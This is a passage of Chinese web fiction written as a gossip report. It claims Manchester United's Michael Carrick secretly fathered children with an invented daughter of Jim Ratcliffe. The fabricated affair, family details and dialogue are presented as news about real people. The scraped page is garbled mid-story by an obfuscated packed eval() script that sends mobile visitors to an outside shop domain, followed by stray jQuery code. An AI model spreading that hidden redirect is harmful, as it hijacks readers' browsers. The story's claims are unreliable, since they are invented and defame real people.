《利物浦回声报》除了报道曼联临时主帅迈克尔卡里克婚内出轨曼联股东赫伯拉特克利夫以此获得俱乐部支持外，还着重给英国人和关注此事的外国人介绍赫伯拉特克利夫。
1979年8月8日出生在英国曼彻斯特兰开夏郡，英国富豪詹姆斯·拉特克利夫唯一子女，母亲是英国落魄贵族德伯伯爵次女珍妮德伯。
德伯家族空有爵位，一连几代经营不善，接近破产，已经负担不起家族城堡每年维修费，将城堡对外开放用作补贴家用。
詹姆斯·拉特克利夫是曼彻斯特工薪家庭的孩子，2000年获得爵士爵位，毕业于伯明翰大学化学工程，1978年和同学德伯结婚，婚后一年有了女儿，1997年两人离婚，女儿抚养权归拉特克利夫。
离婚次年拉特克利夫创办英力士集团，全球知名的大型化学品及能源公司，业务涵盖化工、石油和天然气等领域。
集团涉及体育项目有F1车队梅赛德斯奔驰、不列颠尼亚帆船队、英国职业自行车队
英力士掷弹兵车队、瑞士超级联赛洛桑体育队、法甲足球队尼斯队、科特迪瓦超级联赛球队阿比让竞技队。
2023年12月拉特克利夫用个人名义收购英超曼彻斯特联足球俱乐部25%股权并获得俱乐部足球事务的运营管理权。
女儿赫伯全权代表父亲参与曼联俱乐部事务管理，同时赫伯也是英力士集团体育类投资负责人。
2026年1月5日，曼联官方宣布解雇主教练鲁本-阿莫林，俱乐部高层出乎外界大部分人预料，选择2018年7月担任曼联主帅索尔斯克亚助理教练，并在2021年短暂担任曼联临时主帅的迈克尔卡里克为过渡期主帅。
《回声报》爆料迈克尔卡里克并非曼联高层向拥有主帅任命权的拉爵推荐，而是赫伯助理向高层建议。
拉爵有很多女朋友但没有生下新的孩子，赫伯是拉特克利夫唯一继承人，毕业于牛津商学院的她在英力士集团内部威望并不比父亲差。
《回声报》表示从未有过婚史且从未对外公开过恋情的赫伯有2个儿子，分别是大约18岁的长子亚瑟、5岁的小儿子梅林。
《回声报》将梅林的照片眼睛部位打了马赛克，将和迈克尔卡里克排在一起对比，用了大字体将“五官两者相似度90%”范放大，表示“我们好像帮助英国人解开了一个谜团。”
消息一出，众人哗然！
5岁的儿子！
时间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932789|213656||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
往前倒退，2021年生下儿子，2020年怀孕，那时候卡里克在曼联担任助理教练，拉爵还不是曼联股东。
赫伯的大儿子不会也是卡里克的吧！
可是卡里克2007年6月16日和妻子莉萨结婚，18岁的儿子出生在2007年，这时间节点有点尴尬…
讨论赫伯是不是小三的时候，有人提醒卡里克和妻子恋爱时间在2002年，那时候赫伯和卡里克可没有交集。
但又有人反驳了，你怎么知道呢！
除非拿出证据来！
赫伯看着网上被引导的讨论，看着来电提醒“威廉”，按下了接听键。
“赫伯”
“我知道你要说什么，你管好你大嘴巴的弟弟和弟媳，剩下的我来处理”
赫伯挂了未来英国国王的电话，给卡里克打了视频电话。
两人透过手机看着彼此，相视一笑，他们之间的关系很复杂，友情以上恋人未满，但有一个儿子，可以交付信任。
“迈克尔，亚瑟的事情你曾经问过我，我曾经告诉你那是一个我需要带进棺材的秘密，现在…我可以告诉你，但你需要帮我一个忙”
“我可以当亚瑟的生父，赫伯，我没问题的”